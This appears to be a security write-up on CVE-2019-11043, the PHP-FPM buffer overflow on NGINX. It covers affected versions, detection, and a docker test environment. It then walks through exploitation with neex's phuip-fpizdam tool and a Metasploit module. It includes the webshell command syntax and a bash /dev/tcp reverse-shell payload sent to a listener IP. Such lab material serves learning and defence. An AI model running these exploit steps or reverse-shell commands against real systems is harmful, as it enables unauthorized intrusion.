PHP FastCGI Process Manager (FPM) Buffer Overflow Vulnerability (CVE-2019-11043)
Date Added to KEV Catalog: March 25, 2022
CISA Due Date for Remediation: April 15, 2022
Table of Contents
This vulnerability, “phuip-fpizdam” or CVE-2019-11043, was originally discovered by Andrew Danau, a Wallarm security researcher. In September 2019 during a capture the flag event, RealWorld CTF, he noticed that a server responded with more data when he added a newline byte (%0a). Andrew and his teammates determined it was a memory corruption vulnerability, a buffer overflow vulnerability, which could lead to remote code execution.
The KEV catalog CVE summarizes this:
In some versions of PHP in certain configurations of FPM setup, it is possible to cause FPM module to write past allocated buffers allowing the possibility of remote code execution.
FPM is FastCGI Process Manager. CGI (Common Gateway Interface) is a protocol for interfacing programs with webservers. An example would be users using a browser to request resources from a webserver. FastCGI is a protocol that aims to speed up how many requests a webserver can handle by reducing the overhead between the webserver and CGI programs. PHP-FPM is a specific FPM version that aims to help NGINX servers process PHP pages faster.
Acknowledgement: This vulnerability overview comes from a Wallarm post, the Qualys post, and a full technical description here.
This vulnerability is specific to PHP-FPM enabled on NGINX servers and due to specific configurations. The vulnerability is due to code in fpm_main.c specifically the directive fastcgi_split_path_info.
When fastcgi_split_path_info processes a URI with a newline %0a character, it sets the env_path_info to an empty value. This is an issue because the env_path_info is later used to calculate the path_info value. This empty value provides the space needed to write before path_info which eventually can be used to forge the PHP_VALUE, and later get code execution. Ultimately the exploit accomplishes code execution by increasing the path_info and query_string lengths and changing the PHP_VALUE.
The Orange blog post really explains the vulnerability best.
Systems Affected and Detection
Vulnerable Systems have:
- PHP Versions: 7.1.x below 7.1.33, 7.2.x below 7.2.24 and 7.3.x below 7.3.11 of PHP-FPM on NGINX.
- PHP-FHM enabled, along with specific configurations.
- NGINX server
A local system PHP version check can be done with: php -v
A local check for PHP-fpm can be checked with the -i information option, and grep for fpm: php -i | grep fpm
On Github, phuip-fpizdam also checks this CVE with the –-only-qsl
Common tools like Nmap and Curl commands remotely detect NGINX and PHP versions.
Common vulnerability scanners like Tenable and Qualys also detect for CVE-2019-11043.
Vulnerable Environment Setup
Neex, the exploit author, provides a vulnerable environment to test exploitation.
- git clone https://github.com/neex/phuip-fpizdam
- cd phuip-fpizdam/reproducer/
- docker build -t reproduce-cve-2019-11043
- docker run –rm -ti -p 8080:80 reproduce-cve-2019-11043
In this environment the vulnerable NGINX server is locally hosted via a http proxy on port 8080.
This vulnerability can be exploited through a GitHub exploit and with a Metasploit module. Let’s see how to get a reverse shell using both methods.
Identifying this vulnerability relies on recognizing the NGINX server is running the vulnerable PHP-FPM. Nmap shows it is a NGINX 1.14.0 server:
Google or using the site endoflife.date quickly shows that this NGINX server is deprecated.
NGINX 1.14 was released in April 2018. The latest NGINX is 1.23.3 from December 2022.
It also shows Ubuntu, which has the standard /var/www/html/index.nginx-debian.html:
This vulnerable environment doesn’t show index.php but does show the PHP version with curl:
The PHP version is 7.1.33 dev.
https://endoflife.date/PHP shows the latest PHP version is 8.2.4 and PHP 7.1.33 version was released in 24 Oct 2019.
The PHP ChangeLog is super helpful because it often includes release notes and past bugs. It shows that this version is PHP-FHM, has a Fixed bug #78599, which the RCE vulnerability CVE-2019-11043:
Googling PHP/7.1.33 dev NGINX/1.14.0 would also lead directly to this article by Qualys:
Searchsploit and Exploit-DB also provide both the Metasploit and GitHub exploits:
The Metasploit module path is: exploit/http/PHP_fpm_rce
The other PHP-FPM entry points to the GitHub exploit:
This exploit provides command execution via a PHP webshell.
This Github repository is the same as for our vulnerable environment, and identifies the vulnerable script, but we could also use gobuster for PHP file enumeration:
gobuster dir -u http://localhost:8080 -w /usr/share/wordlists/dirbuster/directory-list-lowercase-2.3-medium.txt -x PHP
This shows a script.php file which we can target.
From Github we can install the exploit:
go install github.com/neex/phuip-fpizdam@latest
After it is installed we can switch to the go directory. Verify go path: go env GOPATH
This exploit requires a PHP file, in this case script.php, and has a test option: –only-qsl
./phuip-fpizdam http://localhost:8080/script.PHP –only-qsl
It shows it is probably vulnerable. We can now run it without the test option to exploit:
The exploit uses a Query String Length (QSL) of 1760 and attacks using PHP.ini settings. It is sending PHP INI directives to create a file which gives code execution.
The output points to the location of the PHP webshell:
Was able to execute a command by appending “?a=/bin/sh+-c+’which+which’&” to URLs
Note: You will have to run the commands multiple times to get a response.
Commands can be executed following script.PHP?a= <CMD>
It shows we have remote code execution as www-data.
Code Execution to Reverse Shell
The example command /bin/sh+-c+’which+which’ can be used to quickly see if netcat, bash or other binaries are installed.
Switching to Burp Suite we can run which bash. It shows bash is installed:
Note: if you are running the vulnerable environment via port 8080, you will need to switch the Burp proxy port.
We can switch /bin/sh to /bin/bash and try a popular bash reverse shell from Pentest Monkey:
bash -i >& /dev/tcp/10.0.0.1/8080 0>&1
Change the IP and port and /bin/sh to /bin/bash to get:
GET /script.PHP?a=/bin/bash+-c+’bash -i >& /dev/tcp/192.168.146.141/443 0>&1′
This sends a reverse shell to our local port listening on port 443 where we get a reverse shell:
Metasploit Exploit: exploit/http/PHP_fpm_rce
This Metasploit module is based off of neex’s exploit and provides a PHP Meterpreter reverse shell.
Prior to running the exploit set: RHOSTS, RPORT, TARGETURI, PAYLOAD and LHOST:
It also runs the which command as a check, and leads to a Meterpreter reverse shell:
This vulnerability affects PHP versions 7.1.x below 7.1.33, 7.2.x below 7.2.24 and 7.3.x below 7.3.11. Patch your system by updating PHP.